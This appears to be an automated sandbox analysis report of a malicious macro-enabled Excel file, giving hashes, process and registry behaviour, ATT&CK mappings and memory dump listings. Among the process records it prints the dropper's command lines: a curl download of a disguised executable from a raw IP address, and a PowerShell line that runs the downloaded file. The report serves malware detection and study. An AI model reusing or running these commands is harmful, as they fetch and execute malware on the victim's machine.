6f5fdf14d35bfe303b9f1b4f3698df919755cb0f76c841f5a9a852939f9c9962

General

Target

350763-394867-221021.xlsm
Size

140KB
MD5

d4fe00d6e9975dd31e96b9d786503069
SHA1

28b875f8547a4bcb0bdc539d784769e7ab8815e8
SHA256

6f5fdf14d35bfe303b9f1b4f3698df919755cb0f76c841f5a9a852939f9c9962
SHA512

4304bd670022078646a4d91d2ceb252eb21be5f2121bdf4e3dbe2719694ae1a4828b6881e387f2d3585b130cf11c5b2502fbcc8c56e037e7de141c97fce57e33

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1720	1816	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1884	1816	cmd.exe	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1816 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1720 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1720 powershell.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

EXCEL.EXE

pid process

1816 EXCEL.EXE
1816 EXCEL.EXE
1816 EXCEL.EXE
1816 EXCEL.EXE
1816 EXCEL.EXE
1816 EXCEL.EXE

pid	process
1816	EXCEL.EXE

pid	process
1720	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1720	powershell.exe

pid	process
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1816 wrote to memory of 1720	1816	EXCEL.EXE	powershell.exe
PID 1816 wrote to memory of 1720	1816	EXCEL.EXE	powershell.exe
PID 1816 wrote to memory of 1720	1816	EXCEL.EXE	powershell.exe
PID 1816 wrote to memory of 1720	1816	EXCEL.EXE	powershell.exe
PID 1816 wrote to memory of 1884	1816	EXCEL.EXE	cmd.exe
PID 1816 wrote to memory of 1884	1816	EXCEL.EXE	cmd.exe
PID 1816 wrote to memory of 1884	1816	EXCEL.EXE	cmd.exe
PID 1816 wrote to memory of 1884	1816	EXCEL.EXE	cmd.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\350763-394867-221021.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\DzXbP.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1720

C:\Windows\SysWOW64\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\DzXbP.exe
2⤵
- Process spawned unexpected child process
PID:1884

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1720-70-0x0000000001020000-0x0000000001021000-memory.dmp

Filesize
4KB

Download
memory/1720-88-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1720-105-0x0000000006500000-0x0000000006501000-memory.dmp

Filesize
4KB

Download
memory/1720-74-0x0000000005810000-0x0000000005811000-memory.dmp

Filesize
4KB

Download
memory/1720-71-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1720-65-0x0000000075801000-0x0000000075803000-memory.dmp

Filesize
8KB

Download
memory/1720-66-0x00000000004E0000-0x00000000004E1000-memory.dmp

Filesize
4KB

Download
memory/1720-67-0x0000000004960000-0x0000000004961000-memory.dmp

Filesize
4KB

Download
memory/1720-68-0x0000000004920000-0x0000000004921000-memory.dmp

Filesize
4KB

Download
memory/1720-69-0x0000000004922000-0x0000000004923000-memory.dmp

Filesize
4KB

Download
memory/1720-104-0x00000000064F0000-0x00000000064F1000-memory.dmp

Filesize
4KB

Download
memory/1720-90-0x00000000062B0000-0x00000000062B1000-memory.dmp

Filesize
4KB

Download
memory/1720-63-0x0000000000000000-mapping.dmp

Download
memory/1720-79-0x00000000058A0000-0x00000000058A1000-memory.dmp

Filesize
4KB

Download
memory/1720-80-0x00000000063C0000-0x00000000063C1000-memory.dmp

Filesize
4KB

Download
memory/1720-87-0x0000000006450000-0x0000000006451000-memory.dmp

Filesize
4KB

Download
memory/1720-89-0x0000000006550000-0x0000000006551000-memory.dmp

Filesize
4KB

Download
memory/1816-61-0x00000000713C1000-0x00000000713C3000-memory.dmp

Filesize
8KB

Download
memory/1816-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1816-60-0x000000002FDC1000-0x000000002FDC4000-memory.dmp

Filesize
12KB

Download
memory/1884-64-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads